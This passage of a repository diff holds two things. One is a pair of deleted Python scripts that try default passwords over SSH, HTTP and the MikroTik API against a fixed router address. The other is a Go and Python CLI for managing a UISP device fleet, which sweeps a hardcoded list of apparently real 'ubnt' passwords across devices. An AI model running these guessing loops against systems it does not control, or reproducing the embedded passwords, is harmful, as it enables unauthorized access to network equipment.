print(f"Testing {username}:{pwd_display}...", end=" ")
# Test SSH first
if test_ssh_credentials(host, username, password):
print(f"✓ SSH SUCCESS with {username}:{pwd_display}")
return password
# Test HTTP
if test_http_credentials(host, username, password):
print(f"✓ HTTP SUCCESS with {username}:{pwd_display}")
return password
print("✗ Failed")
time.sleep(0.5) # Be polite
print("\nNo common default passwords worked.")
print("Suggestions:")
print("1. Device may have custom password")
print("2. Device may use different default algorithm")
print("3. Consider hardware reset if you own the device")
return None
if __name__ == "__main__":
main()

View file

@ -1,166 +0,0 @@
#!/usr/bin/env python3
"""
MikroTik Plain API Authentication Tester
Tests credentials using plain (non-SSL) MikroTik API protocol on port 8728
"""
import socket
import sys
class MikrotikPlainAPITester:
def __init__(self, host, port=8728):
self.host = host
self.port = port
self.sock = None
def connect(self):
"""Establish plain connection to MikroTik router"""
try:
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(10)
self.sock.connect((self.host, self.port))
return True
except Exception as e:
print(f"Connection failed: {e}")
return False
def disconnect(self):
"""Close the connection"""
if self.sock:
self.sock.close()
def encode_length(self, length):
"""Encode length for MikroTik API protocol"""
if length <= 0x7F:
return bytes([length])
elif length <= 0x3FFF:
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
elif length <= 0x1FFFFF:
return bytes([((length >> 16) & 0xFF) | 0xC0,
(length >> 8) & 0xFF,
length & 0xFF])
elif length <= 0xFFFFFFF:
return bytes([((length >> 24) & 0xFF) | 0xE0,
(length >> 16) & 0xFF,
(length >> 8) & 0xFF,
length & 0xFF])
else:
return bytes([0xF0,
(length >> 24) & 0xFF,
(length >> 16) & 0xFF,
(length >> 8) & 0xFF,
length & 0xFF])
def decode_length(self):
"""Decode length from MikroTik API protocol"""
c = self.sock.recv(1)[0]
if (c & 0x80) == 0x00:
return c
elif (c & 0xC0) == 0x80:
return ((c & ~0xC0) << 8) + self.sock.recv(1)[0]
elif (c & 0xE0) == 0xC0:
data = self.sock.recv(2)
return ((c & ~0xE0) << 16) + (data[0] << 8) + data[1]
elif (c & 0xF0) == 0xE0:
data = self.sock.recv(3)
return ((c & ~0xF0) << 24) + (data[0] << 16) + (data[1] << 8) + data[2]
elif (c & 0xF8) == 0xF0:
data = self.sock.recv(4)
return (data[0] << 24) + (data[1] << 16) + (data[2] << 8) + data[3]
def write_word(self, word):
"""Send a word to the router"""
word_bytes = word.encode('utf-8')
self.sock.send(self.encode_length(len(word_bytes)))
self.sock.send(word_bytes)
def read_word(self):
"""Read a word from the router"""
length = self.decode_length()
if length == 0:
return ""
return self.sock.recv(length).decode('utf-8', 'ignore')
def write_sentence(self, words):
"""Send a sentence (list of words) to the router"""
for word in words:
self.write_word(word)
self.write_word("")
def read_sentence(self):
"""Read a sentence from the router"""
sentence = []
while True:
word = self.read_word()
if word == "":
break
sentence.append(word)
return sentence
def test_login(self, username, password):
"""Test login credentials"""
if not self.connect():
return False
try:
# Send login command
self.write_sentence(["/login", f"=name={username}", f"=password={password}"])
# Read response
response = self.read_sentence()
if response and response[0] == "!done":
return True
else:
return False
except Exception as e:
print(f"Login test error: {e}")
return False
finally:
self.disconnect()
def main():
host = "10.250.2.2"
port = 8728 # Plain API port
# Common MikroTik default passwords
credentials = [
("admin", ""), # Empty password
("admin", "admin"), # admin/admin
("admin", "password"), # admin/password
("admin", "123456"), # admin/123456
("admin", "mikrotik"), # admin/mikrotik
("admin", "router"), # admin/router
("admin", "default"), # admin/default
]
print(f"Testing MikroTik Plain API authentication on {host}:{port}")
print("=" * 60)
tester = MikrotikPlainAPITester(host, port)
for username, password in credentials:
pwd_display = f'"{password}"' if password else "(empty)"
print(f"Testing {username}:{pwd_display}...", end=" ")
if tester.test_login(username, password):
print(f"✓ SUCCESS!")
print(f"\n*** WORKING CREDENTIALS FOUND ***")
print(f"Host: {host}")
print(f"Port: {port} (Plain API)")
print(f"Username: {username}")
print(f"Password: {pwd_display}")
return
else:
print("✗ Failed")
print("\nNo working credentials found with common defaults.")
print("\nNext steps:")
print("1. Device likely has custom password")
print("2. Consider hardware reset if you own the device")
print("3. Check device label for default credentials")
print("4. Try WinBox which might show more info")
if __name__ == "__main__":
main()

3
uisp/go.mod Normal file
View file

@ -0,0 +1,3 @@
module github.com/grahammcintire/uisp-cli
go 1.26.2

900
uisp/main.go Normal file
View file

@ -0,0 +1,900 @@
package main
import (
"bytes"
"encoding/json"
"errors"
"flag"
"fmt"
"io"
"net/http"
"os"
"sort"
"strings"
"text/tabwriter"
"time"
)
const defaultBaseURL = "https://uisp.vntx.net"
type Client struct {
BaseURL string
Token string
HTTP *http.Client
}
func NewClient() (*Client, error) {
tok := os.Getenv("UISP_KEY")
if tok == "" {
tok = os.Getenv("UISP_TOKEN")
}
if tok == "" {
return nil, errors.New("UISP_KEY env var is not set")
}
base := os.Getenv("UISP_URL")
if base == "" {
base = defaultBaseURL
}
return &Client{
BaseURL: strings.TrimRight(base, "/"),
Token: tok,
HTTP: &http.Client{Timeout: 60 * time.Second},
}, nil
}
func (c *Client) do(method, path string, body any, out any) error {
var rdr io.Reader
if body != nil {
b, err := json.Marshal(body)
if err != nil {
return err
}
rdr = bytes.NewReader(b)
}
url := c.BaseURL + "/nms/api/v2.1" + path
req, err := http.NewRequest(method, url, rdr)
if err != nil {
return err
}
req.Header.Set("X-Auth-Token", c.Token)
req.Header.Set("Accept", "application/json")
if body != nil {
req.Header.Set("Content-Type", "application/json")
}
resp, err := c.HTTP.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
data, _ := io.ReadAll(resp.Body)
if resp.StatusCode >= 400 {
return fmt.Errorf("%s %s: %s: %s", method, url, resp.Status, strings.TrimSpace(string(data)))
}
if out != nil && len(data) > 0 {
if err := json.Unmarshal(data, out); err != nil {
return fmt.Errorf("decode %s: %w (body: %s)", url, err, truncate(string(data), 200))
}
}
return nil
}
func firstNonEmpty(vals ...string) string {
for _, v := range vals {
if v != "" {
return v
}
}
return ""
}
func truncate(s string, n int) string {
if len(s) <= n {
return s
}
return s[:n] + "..."
}
// Device shapes — UISP returns rich nested JSON; we only model what we use.
type Device struct {
Identification struct {
ID string `json:"id"`
Name string `json:"name"`
Hostname string `json:"hostname"`
DisplayName string `json:"displayName"`
Model string `json:"model"`
ModelName string `json:"modelName"`
Type string `json:"type"`
Category string `json:"category"`
MAC string `json:"mac"`
Authorized bool `json:"authorized"`
FirmwareVersion string `json:"firmwareVersion"`
PlatformID string `json:"platformId"`
PlatformName string `json:"platformName"`
Site *struct {
ID string `json:"id"`
Name string `json:"name"`
} `json:"site"`
} `json:"identification"`
Firmware struct {
Current string `json:"current"`
Latest string `json:"latest"`
LatestStatus string `json:"latestStatus"`
Compatible bool `json:"compatible"`
} `json:"firmware"`
Overview struct {
Status string `json:"status"`
Unauthorized bool `json:"unauthorized"`
CanUpgrade bool `json:"canUpgrade"`
} `json:"overview"`
Discovery *struct {
Status string `json:"status"`
Error string `json:"error"`
Protocol string `json:"protocol"`
IsProcessing bool `json:"isProcessing"`
} `json:"discovery"`
}
// Firmware is one entry from /nms/api/v2.1/firmwares.
// UISP wraps everything under "identification".
type Firmware struct {
Identification struct {
ID string `json:"id"`
Version string `json:"version"`
Stable bool `json:"stable"`
Lite bool `json:"lite"`
PlatformID string `json:"platformId"`
Models []string `json:"models"`
Origin string `json:"origin"`
FirmwareCompatibility string `json:"firmwareCompatibility"`
} `json:"identification"`
Semver struct {
Major int `json:"major"`
Minor int `json:"minor"`
Patch int `json:"patch"`
} `json:"semver"`
}
func (c *Client) ListFirmwares() ([]Firmware, error) {
var fws []Firmware
if err := c.do("GET", "/firmwares", nil, &fws); err != nil {
return nil, err
}
return fws, nil
}
// latestFirmwareFor finds the highest-version stable firmware matching the
// device's platformId and model. Returns "" if none found.
func latestFirmwareFor(fws []Firmware, d Device) string {
plat := d.Identification.PlatformID
model := d.Identification.Model
if plat == "" || model == "" {
return ""
}
var best string
for _, fw := range fws {
if fw.Identification.PlatformID != plat {
continue
}
if !modelMatches(fw, model) {
continue
}
v := fw.Identification.Version
if best == "" || versionLess(best, v) {
best = v
}
}
return best
}
func modelMatches(fw Firmware, model string) bool {
if len(fw.Identification.Models) == 0 {
return true // some firmwares apply to a whole platform
}
for _, m := range fw.Identification.Models {
if m == model {
return true
}
}
return false
}
// versionLess compares two firmware version strings (e.g. "6.3.24", "8.7.13").
// Returns true if a < b. Treats trailing non-numeric segments as 0.
func versionLess(a, b string) bool {
ap, bp := parseVersion(a), parseVersion(b)
for i := 0; i < len(ap) || i < len(bp); i++ {
var av, bv int
if i < len(ap) {
av = ap[i]
}
if i < len(bp) {
bv = bp[i]
}
if av != bv {
return av < bv
}
}
return false
}
func parseVersion(v string) []int {
v = strings.TrimPrefix(v, "v")
// Cut at first non-version separator like "-" or "+".
if i := strings.IndexAny(v, "-+ "); i >= 0 {
v = v[:i]
}
parts := strings.Split(v, ".")
out := make([]int, 0, len(parts))
for _, p := range parts {
n := 0
for _, r := range p {
if r < '0' || r > '9' {
break
}
n = n*10 + int(r-'0')
}
out = append(out, n)
}
return out
}
func (c *Client) ListDevices() ([]Device, error) {
var devs []Device
if err := c.do("GET", "/devices?withInterfaces=false", nil, &devs); err != nil {
return nil, err
}
return devs, nil
}
// ListDiscovered returns devices UISP has detected but not yet adopted
// (the "Pending Adoption" list in the UI).
func (c *Client) ListDiscovered() ([]Device, error) {
var devs []Device
if err := c.do("GET", "/devices/discovered", nil, &devs); err != nil {
return nil, err
}
return devs, nil
}
// ConnectUbnt adopts one or more discovered Ubiquiti devices using the
// supplied credentials. UISP attempts to log in with these creds; on success
// the devices appear in /devices and are assignable to a site.
func (c *Client) ConnectUbnt(deviceIDs []string, username, password string, httpsPort int) error {
if httpsPort == 0 {
httpsPort = 443
}
body := map[string]any{
"deviceIds": deviceIDs,
"username": username,
"password": password,
"httpsPort": httpsPort,
}
return c.do("POST", "/discovery/connect/ubnt", body, nil)
}
type Site struct {
ID string `json:"id"`
Identification struct {
ID string `json:"id"`
Name string `json:"name"`
Type string `json:"type"`
} `json:"identification"`
Name string `json:"name"`
}
func (c *Client) ListSites() ([]Site, error) {
var sites []Site
if err := c.do("GET", "/sites", nil, &sites); err != nil {
return nil, err
}
return sites, nil
}
func (c *Client) FindSiteByName(name string) (string, error) {
sites, err := c.ListSites()
if err != nil {
return "", err
}
want := strings.ToLower(strings.TrimSpace(name))
for _, s := range sites {
// API returns site name under identification.name; fall back to top-level fields.
n := s.Identification.Name
if n == "" {
n = s.Name
}
if strings.ToLower(n) == want {
id := s.Identification.ID
if id == "" {
id = s.ID
}
return id, nil
}
}
return "", fmt.Errorf("site %q not found", name)
}
// AssignDevicesToSite uses the same /devices/authorize endpoint the UI
// hits after adoption — supplying siteId + deviceIds bulk-assigns them.
func (c *Client) AssignDevicesToSite(deviceIDs []string, siteID string) error {
body := map[string]any{
"siteId": siteID,
"deviceIds": deviceIDs,
}
return c.do("POST", "/devices/authorize", body, nil)
}
// StandardCredentials are the canonical username/password combos used across
// the VNTX fleet. They're tried in order; first 2xx wins.
var StandardCredentials = []struct{ User, Pass string }{
{"ubnt", "fngckewl"},
{"ubnt", "vntx1830"},
{"ubnt", "Vntx1830"},
{"ubnt", "vntx1830vntx"},
}
func (c *Client) SetDeviceCredentials(id, user, pw string) error {
body := map[string]any{"username": user, "password": pw}
return c.do("POST", "/devices/"+id+"/credentials", body, nil)
}
// TryStandardCredentials walks the StandardCredentials list and stops on the
// first one the API accepts (2xx). Returns the user/pw that worked.
func (c *Client) TryStandardCredentials(id string) (string, string, error) {
var lastErr error
for _, kp := range StandardCredentials {
if err := c.SetDeviceCredentials(id, kp.User, kp.Pass); err != nil {
lastErr = err
continue
}
return kp.User, kp.Pass, nil
}
if lastErr == nil {
lastErr = errors.New("no credentials attempted")
}
return "", "", lastErr
}
func (c *Client) UpgradeDevice(id string) error {
return c.do("POST", "/devices/"+id+"/system/upgrade", nil, nil)
}
func dispName(d Device) string {
if d.Identification.Hostname != "" {
return d.Identification.Hostname
}
if d.Identification.Name != "" {
return d.Identification.Name
}
return d.Identification.MAC
}
func cmdList(args []string) error {
fs := flag.NewFlagSet("list", flag.ExitOnError)
unauth := fs.Bool("unauthorized", false, "show only unauthorized devices")
upgradable := fs.Bool("upgradable", false, "show only devices with a firmware update available")
jsonOut := fs.Bool("json", false, "output parsed JSON (struct shape)")
rawOut := fs.Bool("raw", false, "dump raw JSON from the API (use to debug field paths)")
if err := fs.Parse(args); err != nil {
return err
}
c, err := NewClient()
if err != nil {
return err
}
if *rawOut {
req, _ := http.NewRequest("GET", c.BaseURL+"/nms/api/v2.1/devices?withInterfaces=false", nil)
req.Header.Set("X-Auth-Token", c.Token)
req.Header.Set("Accept", "application/json")
resp, err := c.HTTP.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
var raw any
if err := json.NewDecoder(resp.Body).Decode(&raw); err != nil {
return err
}
enc := json.NewEncoder(os.Stdout)
enc.SetIndent("", " ")
return enc.Encode(raw)
}
var devs []Device
if *unauth {
devs, err = c.ListDiscovered()
} else {
devs, err = c.ListDevices()
}
if err != nil {
return err
}
fws, fwErr := c.ListFirmwares()
if fwErr != nil {
fmt.Fprintf(os.Stderr, "warning: could not list firmwares: %v\n", fwErr)
}
filtered := devs[:0]
for _, d := range devs {
if *upgradable && !needsUpgrade(d, fws) {
continue
}
filtered = append(filtered, d)
}
sort.Slice(filtered, func(i, j int) bool { return dispName(filtered[i]) < dispName(filtered[j]) })
if *jsonOut {
enc := json.NewEncoder(os.Stdout)
enc.SetIndent("", " ")
return enc.Encode(filtered)
}
tw := tabwriter.NewWriter(os.Stdout, 0, 0, 2, ' ', 0)
fmt.Fprintln(tw, "ID\tNAME\tMODEL\tSITE\tFW (cur → latest)\tSTATUS\tAUTH\tUPGRADE?")
for _, d := range filtered {
site := ""
if d.Identification.Site != nil {
site = d.Identification.Site.Name
}
cur := firstNonEmpty(d.Firmware.Current, d.Identification.FirmwareVersion)
latest := firstNonEmpty(d.Firmware.Latest, latestFirmwareFor(fws, d))
fw := cur
if latest != "" && latest != cur && versionLess(cur, latest) {
fw = cur + " → " + latest
}
if fw == "" {
fw = "-"
}
auth := "yes"
if isUnauthorized(d) {
auth = "NO"
}
up := ""
if needsUpgrade(d, fws) {
up = "yes"
}
fmt.Fprintf(tw, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
d.Identification.ID, dispName(d), d.Identification.ModelName,
site, fw, d.Overview.Status, auth, up)
}
return tw.Flush()
}
func isUnauthorized(d Device) bool {
return d.Overview.Unauthorized || !d.Identification.Authorized
}
func canUpgrade(d Device) bool {
if d.Overview.CanUpgrade {
return true
}
if d.Firmware.Latest != "" && d.Firmware.Current != "" && d.Firmware.Latest != d.Firmware.Current {
return true
}
return false
}
// needsUpgrade decides whether a device should be upgraded. We require a
// real model and current version, then compare against the /firmwares
// catalog. UISP's overview.canUpgrade flag is unreliable — it stays true
// for blackBox/UNKNOWN devices we can't actually update — so we ignore it
// when there's no catalog answer.
func needsUpgrade(d Device, fws []Firmware) bool {
if d.Identification.Type == "blackBox" {
return false
}
model := d.Identification.Model
if model == "" || model == "UNKNOWN" {
return false
}
cur := firstNonEmpty(d.Firmware.Current, d.Identification.FirmwareVersion)
if cur == "" {
return false
}
latest := firstNonEmpty(d.Firmware.Latest, latestFirmwareFor(fws, d))
if latest == "" {
return false
}
return versionLess(cur, latest)
}
func cmdApprove(args []string) error {
fs := flag.NewFlagSet("approve", flag.ExitOnError)
all := fs.Bool("all", false, "approve all discovered (pending-adoption) devices")
dry := fs.Bool("dry-run", false, "show what would be approved without doing it")
site := fs.String("site", "vntx", "site name to assign devices to (empty = skip)")
port := fs.Int("port", 443, "HTTPS port UISP uses to reach the device")
if err := fs.Parse(args); err != nil {
return err
}
c, err := NewClient()
if err != nil {
return err
}
discovered, err := c.ListDiscovered()
if err != nil {
return fmt.Errorf("listing discovered devices: %w", err)
}
// Build the working set: --all = every discovered device; otherwise the
// IDs passed on the CLI must be in the discovered list.
byID := make(map[string]Device, len(discovered))
for _, d := range discovered {
byID[d.Identification.ID] = d
}
var queue []Device
if *all {
queue = discovered
} else {
ids := fs.Args()
if len(ids) == 0 {
return errors.New("usage: uisp approve <device-id>... | --all")
}
for _, id := range ids {
d, ok := byID[id]
if !ok {
fmt.Fprintf(os.Stderr, "skip %s: not in discovered/pending list\n", id)
continue
}
queue = append(queue, d)
}
}
if len(queue) == 0 {
fmt.Println("no devices pending adoption.")
return nil
}
for _, d := range queue {
fmt.Printf(" pending: %s %s %s\n", d.Identification.ID, dispName(d), d.Identification.ModelName)
}
var siteID string
if *site != "" {
siteID, err = c.FindSiteByName(*site)
if err != nil {
return fmt.Errorf("looking up site %q: %w", *site, err)
}
fmt.Printf("site %q resolved to id %s\n", *site, siteID)
}
if *dry {
fmt.Printf("\ndry-run: would adopt %d device(s) by trying %d credential combo(s)",
len(queue), len(StandardCredentials))
if siteID != "" {
fmt.Printf(", then assign to site %q", *site)
}
fmt.Println()
return nil
}
// Walk the credential list; each pass triggers UISP to retry connect on
// every queued device with the new creds. UISP de-dupes — it will only
// actually reconnect devices that haven't been adopted yet. After each
// pass we poll discovery.isProcessing until everything settles.
queueIDs := make([]string, 0, len(queue))
for _, d := range queue {
queueIDs = append(queueIDs, d.Identification.ID)
}
for i, kp := range StandardCredentials {
fmt.Printf("\n[%d/%d] trying user=%s pw=%s on %d device(s)...\n",
i+1, len(StandardCredentials), kp.User, kp.Pass, len(queueIDs))
if err := c.ConnectUbnt(queueIDs, kp.User, kp.Pass, *port); err != nil {
fmt.Fprintf(os.Stderr, " connect call failed: %v\n", err)
continue
}
statuses, err := waitForDiscoverySettle(c, queueIDs, 60*time.Second)
if err != nil {
fmt.Fprintf(os.Stderr, " poll failed: %v\n", err)
continue
}
// Stop early if every device has either succeeded or hit a state
// that won't change with new credentials.
stillRetryable := false
for _, s := range statuses {
if s.Status == "authentication-failed" || s.Status == "authenticating" || s.Status == "starting" {
stillRetryable = true
break
}
}
if !stillRetryable {
fmt.Println(" no more credential-retryable devices, stopping cred sweep.")
break
}
}
// Final state: re-fetch /devices (where adopted devices live) and the
// discovered list (residual + status). A device is "adopted" if it shows
// up in /devices with a real type (not blackBox) — UISP creates the
// blackBox SNMP record before adoption succeeds.
allDevs, err := c.ListDevices()
if err != nil {
return fmt.Errorf("post-adoption ListDevices: %w", err)
}
devByID := map[string]Device{}
for _, d := range allDevs {
devByID[d.Identification.ID] = d
}
finalDiscovered, _ := c.ListDiscovered()
discByID := map[string]Device{}
for _, d := range finalDiscovered {
discByID[d.Identification.ID] = d
}
var adoptedIDs, stillFailed []string
for _, id := range queueIDs {
d, inFleet := devByID[id]
if inFleet && d.Identification.Type != "blackBox" {
adoptedIDs = append(adoptedIDs, id)
} else {
stillFailed = append(stillFailed, id)
}
}
if len(adoptedIDs) > 0 {
fmt.Printf("\nadopted %d device(s):\n", len(adoptedIDs))
for _, id := range adoptedIDs {
fmt.Printf(" %s %s\n", id, dispName(devByID[id]))
}
}
if len(stillFailed) > 0 {
fmt.Printf("\n%d device(s) still pending:\n", len(stillFailed))
for _, id := range stillFailed {
d := byID[id]
cur := discByID[id]
status, errMsg := "?", ""
if cur.Discovery != nil {
status = cur.Discovery.Status
errMsg = cur.Discovery.Error
}
line := fmt.Sprintf(" %s %-32s status=%s", id, dispName(d), status)
if errMsg != "" {
line += " err=" + errMsg
}
fmt.Println(line)
}
}
if siteID != "" && len(adoptedIDs) > 0 {
fmt.Printf("\nassigning %d adopted device(s) to site %q...\n", len(adoptedIDs), *site)
if err := c.AssignDevicesToSite(adoptedIDs, siteID); err != nil {
return fmt.Errorf("site assign: %w", err)
}
fmt.Println(" done.")
}
return nil
}
// waitForDiscoverySettle polls /devices/discovered for the given IDs until
// none of them have isProcessing=true, or until the timeout fires.
func waitForDiscoverySettle(c *Client, ids []string, timeout time.Duration) (map[string]struct{ Status, Error string }, error) {
want := make(map[string]struct{}, len(ids))
for _, id := range ids {
want[id] = struct{}{}
}
deadline := time.Now().Add(timeout)
for {
discovered, err := c.ListDiscovered()
if err != nil {
return nil, err
}
statuses := map[string]struct{ Status, Error string }{}
stillProcessing := 0
for _, d := range discovered {
if _, ok := want[d.Identification.ID]; !ok {
continue
}
if d.Discovery != nil {
statuses[d.Identification.ID] = struct{ Status, Error string }{d.Discovery.Status, d.Discovery.Error}
if d.Discovery.IsProcessing {
stillProcessing++
}
}
}
if stillProcessing == 0 || time.Now().After(deadline) {
fmt.Printf(" settled (%d still processing at timeout)\n", stillProcessing)
return statuses, nil
}
fmt.Printf(" ...waiting on %d device(s)\n", stillProcessing)
time.Sleep(5 * time.Second)
}
}
func cmdUpgrade(args []string) error {
fs := flag.NewFlagSet("upgrade", flag.ExitOnError)
all := fs.Bool("all", false, "upgrade every device with an available update")
yes := fs.Bool("yes", false, "actually perform upgrades (default is dry-run)")
force := fs.Bool("force", false, "upgrade even if current == latest firmware")
if err := fs.Parse(args); err != nil {
return err
}
c, err := NewClient()
if err != nil {
return err
}
type target struct {
id, name, fw string
}
var targets []target
devs, err := c.ListDevices()
if err != nil {
return err
}
fws, fwErr := c.ListFirmwares()
if fwErr != nil {
fmt.Fprintf(os.Stderr, "warning: could not list firmwares: %v\n", fwErr)
}
byID := make(map[string]Device, len(devs))
for _, d := range devs {
byID[d.Identification.ID] = d
}
makeTarget := func(d Device) target {
cur := firstNonEmpty(d.Firmware.Current, d.Identification.FirmwareVersion)
latest := firstNonEmpty(d.Firmware.Latest, latestFirmwareFor(fws, d))
arrow := cur
if latest != "" && latest != cur {
arrow = cur + " → " + latest
}
return target{id: d.Identification.ID, name: dispName(d), fw: arrow}
}
if *all {
for _, d := range devs {
if !needsUpgrade(d, fws) {
continue
}
targets = append(targets, makeTarget(d))
}
} else {
ids := fs.Args()
if len(ids) == 0 {
return errors.New("usage: uisp upgrade <device-id>... [--yes] [--force] | --all [--yes]")
}
for _, id := range ids {
d, ok := byID[id]
if !ok {
fmt.Fprintf(os.Stderr, "skip %s: device not found\n", id)
continue
}
if !needsUpgrade(d, fws) && !*force {
cur := firstNonEmpty(d.Firmware.Current, d.Identification.FirmwareVersion)
latest := firstNonEmpty(d.Firmware.Latest, latestFirmwareFor(fws, d))
fmt.Fprintf(os.Stderr, "skip %s (%s): already on %s (latest %s) — pass --force to override\n",
id, dispName(d), cur, firstNonEmpty(latest, "?"))
continue
}
targets = append(targets, makeTarget(d))
}
}
if len(targets) == 0 {
fmt.Println("no devices need upgrade.")
return nil
}
for _, t := range targets {
fmt.Printf(" %s %s %s\n", t.id, t.name, t.fw)
}
if !*yes {
fmt.Printf("\ndry-run: %d device(s) would be upgraded. Pass --yes to execute.\n", len(targets))
return nil
}
var failed int
for _, t := range targets {
if err := c.UpgradeDevice(t.id); err != nil {
fmt.Fprintf(os.Stderr, "FAIL %s: %v\n", t.id, err)
failed++
continue
}
fmt.Printf("OK %s upgrade triggered\n", t.id)
}
if failed > 0 {
return fmt.Errorf("%d/%d upgrades failed", failed, len(targets))
}
return nil
}
func cmdCreds(args []string) error {
fs := flag.NewFlagSet("creds", flag.ExitOnError)
all := fs.Bool("all", false, "try standard creds against every device")
user := fs.String("user", "", "single username (overrides standard list)")
pass := fs.String("pass", "", "single password (used with --user)")
if err := fs.Parse(args); err != nil {
return err
}
c, err := NewClient()
if err != nil {
return err
}
var ids []string
if *all {
devs, err := c.ListDevices()
if err != nil {
return err
}
for _, d := range devs {
ids = append(ids, d.Identification.ID)
}
} else {
ids = fs.Args()
if len(ids) == 0 {
return errors.New("usage: uisp creds <device-id>... | --all [--user U --pass P]")
}
}
manual := *user != "" || *pass != ""
if manual && (*user == "" || *pass == "") {
return errors.New("--user and --pass must be used together")
}
for _, id := range ids {
if manual {
if err := c.SetDeviceCredentials(id, *user, *pass); err != nil {
fmt.Fprintf(os.Stderr, "FAIL %s: %v\n", id, err)
continue
}
fmt.Printf("OK %s (user=%s)\n", id, *user)
continue
}
u, p, err := c.TryStandardCredentials(id)
if err != nil {
fmt.Fprintf(os.Stderr, "FAIL %s: %v\n", id, err)
continue
}
fmt.Printf("OK %s (user=%s pw=%s)\n", id, u, p)
}
return nil
}
func usage() {
fmt.Fprint(os.Stderr, `uisp - CLI for UISP at $UISP_URL (default `+defaultBaseURL+`)
Auth: export UISP_KEY=<x-auth-token from UISP user settings>
Commands:
list [--unauthorized] [--upgradable] [--json]
approve <device-id>... | --all [--site vntx] [--try-creds] [--dry-run]
creds <device-id>... | --all [--user U --pass P]
upgrade <device-id>... | --all [--yes] (dry-run unless --yes)
Examples:
uisp list --upgradable
uisp approve --all # approve, assign to "vntx", try standard creds
uisp approve --all --site vntx --dry-run
uisp creds --all # retry standard creds across the fleet
uisp upgrade --all --yes
`)
}
func main() {
if len(os.Args) < 2 {
usage()
os.Exit(2)
}
var err error
switch os.Args[1] {
case "list", "ls":
err = cmdList(os.Args[2:])
case "approve":
err = cmdApprove(os.Args[2:])
case "creds":
err = cmdCreds(os.Args[2:])
case "upgrade":
err = cmdUpgrade(os.Args[2:])
case "-h", "--help", "help":
usage()
return
default:
usage()
os.Exit(2)
}
if err != nil {
fmt.Fprintln(os.Stderr, "error:", err)
os.Exit(1)
}
}

BIN
uisp/uisp Executable file

Binary file not shown.

742
uisp/uisp.py Executable file
View file

@ -0,0 +1,742 @@
#!/usr/bin/env python3
"""
uisp CLI for UISP at $UISP_URL (default https://uisp.vntx.net).
Auth: export UISP_KEY=<x-auth-token from UISP user settings>.
Subcommands:
list [--unauthorized] [--upgradable] [--json] [--raw]
approve <id>... | --all [--site vntx] [--port 443] [--dry-run]
upgrade <id>... | --all [--yes] [--force]
prune [--days 1] [--yes] delete devices offline longer than N days
"""
from __future__ import annotations
import argparse
import datetime as dt
import json
import os
import ssl
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
from collections import Counter
from typing import Any, Iterable
DEFAULT_BASE = os.environ.get("UISP_URL", "https://uisp.vntx.net").rstrip("/")
TOKEN = os.environ.get("UISP_KEY") or os.environ.get("UISP_TOKEN")
# Ordered list — first cred that lets UISP adopt a device wins.
STANDARD_CREDS = [
("ubnt", "fngckewl"),
("ubnt", "vntx1830"),
("ubnt", "Vntx1830"),
("ubnt", "vntx1830vntx"),
("ubnt", "H8xd9tkryg"),
("ubnt", "h8xd9tkryg"),
]
# discovery.status values that mean "trying again with a new password might help".
RETRYABLE_DISCOVERY_STATUSES = {
"authentication-failed",
"authenticating",
"starting",
}
def die(msg: str, code: int = 1) -> None:
print(f"error: {msg}", file=sys.stderr)
sys.exit(code)
def api(method: str, path: str, body: Any = None) -> Any:
if not TOKEN:
die("UISP_KEY env var is not set")
url = f"{DEFAULT_BASE}/nms/api/v2.1{path}"
data = None
if body is not None:
data = json.dumps(body).encode()
req = urllib.request.Request(url, data=data, method=method)
req.add_header("X-Auth-Token", TOKEN)
req.add_header("Accept", "application/json")
if body is not None:
req.add_header("Content-Type", "application/json")
ctx = ssl.create_default_context()
try:
with urllib.request.urlopen(req, context=ctx, timeout=60) as resp:
raw = resp.read()
except urllib.error.HTTPError as e:
raw = e.read()
try:
payload = json.loads(raw)
msg = payload.get("message") or payload
except Exception:
msg = raw.decode("utf-8", "replace")[:200]
die(f"{method} {url}: HTTP {e.code}: {msg}")
if not raw:
return None
return json.loads(raw)
# ---------- Helpers ----------
def disp_name(d: dict) -> str:
ident = d.get("identification") or {}
return ident.get("hostname") or ident.get("name") or ident.get("displayName") or ident.get("mac") or "?"
def parse_version(v: str) -> tuple[int, ...]:
"""Loose semver parse: '6.3.24-cs' -> (6, 3, 24)."""
if not v:
return ()
v = v.lstrip("v")
head = ""
for ch in v:
if ch in "-+ ":
break
head += ch
parts = []
for chunk in head.split("."):
n = 0
for ch in chunk:
if not ch.isdigit():
break
n = n * 10 + int(ch)
parts.append(n)
return tuple(parts)
def version_lt(a: str, b: str) -> bool:
return parse_version(a) < parse_version(b)
def latest_firmware_for(fws: list[dict], d: dict) -> str:
ident = d.get("identification") or {}
plat = ident.get("platformId")
model = ident.get("model")
if not plat or not model:
return ""
best = ""
for fw in fws:
ident_fw = fw.get("identification") or {}
if ident_fw.get("platformId") != plat:
continue
models = ident_fw.get("models") or []
if models and model not in models:
continue
if not ident_fw.get("stable", True):
continue
v = ident_fw.get("version") or ""
if not best or version_lt(best, v):
best = v
return best
def needs_upgrade(d: dict, fws: list[dict]) -> bool:
ident = d.get("identification") or {}
if ident.get("type") == "blackBox":
return False
model = ident.get("model")
if not model or model == "UNKNOWN":
return False
cur = ident.get("firmwareVersion") or (d.get("firmware") or {}).get("current") or ""
if not cur:
return False
latest = latest_firmware_for(fws, d)
if not latest:
return False
return version_lt(cur, latest)
def is_unauthorized(d: dict) -> bool:
ident = d.get("identification") or {}
overview = d.get("overview") or {}
return not ident.get("authorized", True) or overview.get("status") == "discovered"
# ---------- Commands ----------
def cmd_list(args: argparse.Namespace) -> None:
if args.unauthorized:
devs = api("GET", "/devices/discovered") or []
# SNMP-discovered stubs come back as model=UNKNOWN and aren't actually
# adoptable. Hide by default to keep the pending-adoption view useful.
if not args.include_unknown:
devs = [d for d in devs if (d.get("identification") or {}).get("model") not in ("", None, "UNKNOWN")]
else:
devs = api("GET", "/devices?withInterfaces=false")
if args.raw:
json.dump(devs, sys.stdout, indent=2)
print()
return
fws = api("GET", "/firmwares") or []
rows = []
for d in devs:
if args.upgradable and not needs_upgrade(d, fws):
continue
rows.append(d)
rows.sort(key=disp_name)
if args.json:
json.dump(rows, sys.stdout, indent=2)
print()
return
headers = ["ID", "NAME", "MODEL", "SITE", "FW", "STATUS", "AUTH", "UPGRADE"]
table = []
for d in rows:
ident = d.get("identification") or {}
